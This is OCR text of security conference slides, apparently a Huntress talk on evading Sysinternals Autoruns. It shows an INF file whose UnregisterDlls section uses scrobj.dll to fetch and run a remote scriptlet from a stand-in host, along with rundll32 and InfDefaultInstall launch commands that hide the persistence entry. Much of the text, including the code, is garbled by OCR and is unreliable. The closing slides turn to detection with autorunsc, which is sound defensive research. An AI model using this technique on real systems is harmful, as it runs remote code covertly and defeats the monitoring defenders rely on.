INE AddService An UnregisterDlls directive references one or more INF sections used to specify files
Directive that are OLE controls and require self-unregistration (self-removal).

INF Add5Software

Directive

INF BitReg Directive

IDDInstall]
INF CopyFiles
Directive UnregisterDlls=unregister-dll-section[,unregister-dll-section]...
INF CopylNF
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shady.inf R HUNTRESS

|[Version]
Signature=SCHICAGOS

[DefaultInstall]
UnregisterDlls = Squiblydoo

[Squiblydoo]
11, ,scrobj.d11,2,60,https://shady.com/file.sct
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INF Scriptlets Overview B HUNTRESS

rundll32.exe setupapi.dll,InstallHinfSection Defaultinstall 128
C:\Users\User\Desktop\shady.inf

rundll32.exe setupapi.dll shady.inf file.sct
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Within Autoruns :|

File

1

-,
| =

Entry Options  User

2 A XK

.,

= Autoruns [USER-PChUser] - Sysinternals: www.sysinternals.com

Help

Fitter:

— [

b4

AppInit  [%| KnownDLLs n Winlogon &% Winsock Providers tza Print Monitors %} LSA Providers &F Metwork Providers jﬂ WMI B Sidebar Gadgets I] Office

) HUNTRESS

EVADING AUTORUNS - DERBYCON 7.0

=7 Everything -% Logon 4 Explorer g Internet Explorer .,_'F'I Scheduled Tasks % Services Drrivers +| Codecs 3 Boot Execute E Image Hijacks
Autorun Entry Description Publisher Image Fath Timestamp >
ﬁ HEKLMYS0F TWARE Microsoft '“Windows\Cument Version \Run 9232017 514 PM
— -
w Windows host process (Rundll32) Microsoft Comporation cwindowssystem 32%undll 32 exe 4/6/2011 3:10 AM
e
w l.£_5 i TunesHelper i TunesHelper Apple Inc. c:\program files‘\tunes ituneshelper.e... 9112017 6:21 PM
w I MNvBackend NVIDIA Backend NVIDIA Comporation c:\program files (x86) \nvidia comporati... 61452016 6:359 AM
w I:ill RtHDOWEBg _MAXXE HD Audio Background Process Realtek Semiconductor c:\program files‘reattek \audio“hda'r... 872272016 1:52 AM
w |'|-- RTHOVCPL Realtek HD Audio Manager Realtek Semiconductor c:\program files‘realtek \audio“\hda’... 872272016 1:56 AM
w EH SecurtyHealth Windows Defender notification icon Microsoft Comporation c:\program files‘windows defender'm... 12/12/75996 3.34 AM
w @ Wavesive Waves MaxxAudio Service Application Waves Audio Lid. c:\program files‘'waves \maxaudio’w... 127222015 11:10 AM
ﬁ HELMYSOF TWARE Y Wowed 32Node \Microsoft \Windows \Cument Version“\Run 6292017 3.01 PM W
< >
- rundll32, exe Size: 67 K
__ Windows host process (Rundll32) Time: 4/6/2011 9: 10 AM
Microsoft Corporation Version: ©6.3.15063.0
rundll32.exe setupapi,InstallHinfSection ModelsSection 128 C:\UsersiUser\Desktopitest.inf
Ready. Windows Enfries Hidden.




INF Scriptlets Revisited B HUNTRESS

InfDefaultinstall.exe shady.inf

InfDefaultinstall.exe shady.inf file.sct
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=

File Entry Options User Help

LIEI =] }3 Filter:

" "

o

% AppInit (% KnownDLLs E Winlogon th Winsock Providers <z Print Monitors "ﬁ LSA Providers 'i-" Metwork Providers .ﬂ WMI Y Sidebar Gadgets I] Office
=7 Everything % Logon 4 Explorer ,ﬁ Internet Explorer “_£] Scheduled Tasks % SErvices Drivers Codecs j Boot Execute 3 Image Hijacks

=

Autorun Entry Description Publisher Image Path Timestamp *
ﬁ HELMYSOF TWARE Microsoft “Windows\Curment Version\Run 9/23/20176:10 PM
| [0z| AdobeAfMUpdater-10  Adobe Updater Startup Liility Adobe Systems Incorporated c:program files (x86)\common filesha... 872972016 3.259 AM
| [mz] |AStorlcon Delayed launcher Intel Comporation c:program fileshinteltintelir) rapid stor... 11772017 12:32 PM
w L_{_S i TunesHelper i TunesHelper Apple Inc. c:program files\tunes‘tuneshelper.e... 9112017 6:21 PM
w E MNvBackend NVIDIA Backend NVIDIA Comporation c:\program files (x86)\nvidia comporati... &/14/2076 639 AM
w :i|| RtHDWVBg MAXXE HD Audio Background Process Realtek Semiconductor c:\program files‘realtel \audio“hda'r... 87222016 1:52 AM
w |'|-- RTHDOVCPL Realtel HD Audio Manager Realtek Semiconductor c:program files‘realtelk \audio“hda’t... 872272016 1:56 AM
w Ea SecurtyHealth Windows Defender notification icon Microsoft Corporation c:program files'windows defender'm... 12/12/15996 3.34 AM
_ w @ Wavessve Waves MawAudio Service Application Wawves Audio Lid. c:program fileswaves \maxxaudiotw... 12222015 1110 AM
ﬁ HELMYSOF TWARE Y Wow &4 32Node \Microsoft \Windows\Cument Version . Run 6292017 3.01 PM
w m Acrobat Assistant 8.0 Acro Tray Adobe Systems Inc. c:\program files (x86)\adobe’\acrobat... 773172017 2:36 PM W
€ ¥

Ready. Windows Enfries Hidden.
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Treated as Window Entry B HUNTRESS

g Autoruns [USER-PC\User] - Sysinternals: www.sysinternals.com — L] i
File Entry Options User Help
L':I F #4 +  Hide Empty Locations
%] Applnit R roviders <z Print Monitors "g LSA Providers &* Metwork Providers ;ﬂ WMI B Sidebar Gadgets I] Office
=} Everythi +  Hide Windows Entries Explorer j Scheduled Tasks % SErvices Drivers || Codecs E Boot Execute E Image Hijacks
Autorun Entry Hide VirusTotal Clean Entries Publisher Image Path Timestamp -
ﬁ HELMYS Scan Options... n 5/ 23,2017 6:10 PM
od T ER Fant ility Adobe Systems Incorporated c:vprogram files x86)\common filesha... 6/29/2016 3:25 AM
| [03] I£ ot Intel Corporation c:\program filessintel\intelir) rapid stor... 1/17/2017 12:32 PM
w L_{_S i TunesHelper i TunesHelper Apple Inc. c:program files‘\tunes ituneshelpere... 9112017 6:21 PM
w E MNvBackend NVIDIA Backend NVIDIA Comporation c:program files (x86)\nvidia corporati... 6142076 6:39 AM
w :i|| RtHDWVBg MAXXE HD Audio Background Process Realtek Semiconductor c\program files‘reattel \audio®hdar... 87222016 1:52 AM
w |'|-- RTHDOVCPL Realtel. HD Audio Manager Realtek Semiconductor c:program files‘reattelk \audio“hda'st... 82272016 1:56 AM
w Ea SecurtyHealth Windows Defender notification icon Microsoft Corporation c:program files'windows defender'm... 1271215996 3.34 AM
W @ Wavessve Waves MaxcAudio Service Application Waves Audio Lid. c:yprogram fileswaves'\maxaudiotw... 1272220151110 AM
ﬁ HELMYSOF TWAREYWowed 32Mode \Microsoft \Windows \Cument Version.Run 6292017 3:01 PM
W E Acrobat Assistant 8.0 Acro Tray Adobe Systems Inc. c:yprogram files (x86)\adobeacrobat... 7/ 312017 2:36 PM W
€ >
Ready, Windows Entries Hidden.
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Et Voilal R HUNTRESS

=]

| File Entry Options User Help

Iﬂdﬂﬁﬂxw Filter:

|9 |9

S

| 1% AppInit (%] KnownDLLs n Winlogon &% Winsock Providers tza Print Monitors %} LSA Providers &F Metwork Providers jﬂ WMI B Sidebar Gadgets I] Office
=7 Everything -% Logon 4 Explorer g Internet Explorer .,_'F'I Scheduled Tasks % Services Drrivers +| Codecs 3 Boot Execute E Image Hijacks

| Autorun Entry Description Publisher Image Fath Timestamp >
ﬁ HEKLMYS0F TWARE Microsoft '“Windows\Cument Version \Run 9232017610 PM
— -
w INF Default Install Microsoft Comporation cwindowssystem d2hinfdefaultinstal... /115920 171:09 AM
e
w l.£_5 i TunesHelper i TunesHelper Apple Inc. c:\program files‘\tunes ituneshelper.e... 9112017 6:21 PM
w I MNvBackend NVIDIA Backend NVIDIA Comporation c:\program files (x86) \nvidia comporati... 61452016 6:359 AM
w I:ill RtHDOWEBg _MAXXE HD Audio Background Process Realtek Semiconductor c:\program files‘reattek \audio“hda'r... 872272016 1:52 AM
w |'|-- RTHOVCPL Realtek HD Audio Manager Realtek Semiconductor c:\program files‘realtek \audio“\hda’... 872272016 1:56 AM
w EH SecurtyHealth Windows Defender notification icon Microsoft Comporation c:\program files‘windows defender'm... 12/12/75996 3.34 AM
w @ Wavesive Waves MaxxAudio Service Application Waves Audio Lid. c:\program files‘'waves \maxaudio’w... 127222015 11:10 AM
- ﬁ HELMYSOF TWARE Y Wowed 32Node \Microsoft \Windows \Cument Version“\Run 6292017 3.01 PM W
< >
e ifdefaultinstall. exe Size: 13K
. INF Default Install Time: 8/1/1920 11:09 AM
Microsoft Corporation Version: 5.2.3668.0

InfDefaultinstall. exe C:\Users\User\Desktopishady.inf

Ready. Mo Filter.
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Conclusion




Autoruns Raw Data R HUNTRESS

e autorunsc.exe — Autoruns command-line utility
e Can scan for specific entries (-a]
* Qutput as text, CSV, XML
* File hashes
* Verify digital signatures
e Query VirusTotal
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Build Detections with Autorunsc B HUNTRESS

e Use autorunsc.exe to enumerate

* Build security detection capabilities using
enumerated data

e Use to Inform threat hunting
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IELCENENE R HUNTRESS

e Autoruns Is great at enumeration but isn't a
security tool

» Still need to validate legitimacy of enumerated
autoruns

* Indirection and nested commands will become
Increasingly popular among attackers

* Chaining trusted executables in new and strange
ways
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Contact Us R HUNTRESS

Thank You!

@KyleHanslovan @ChrisBisnett

e kyle@huntresslabs.com echris@huntresslabs.com
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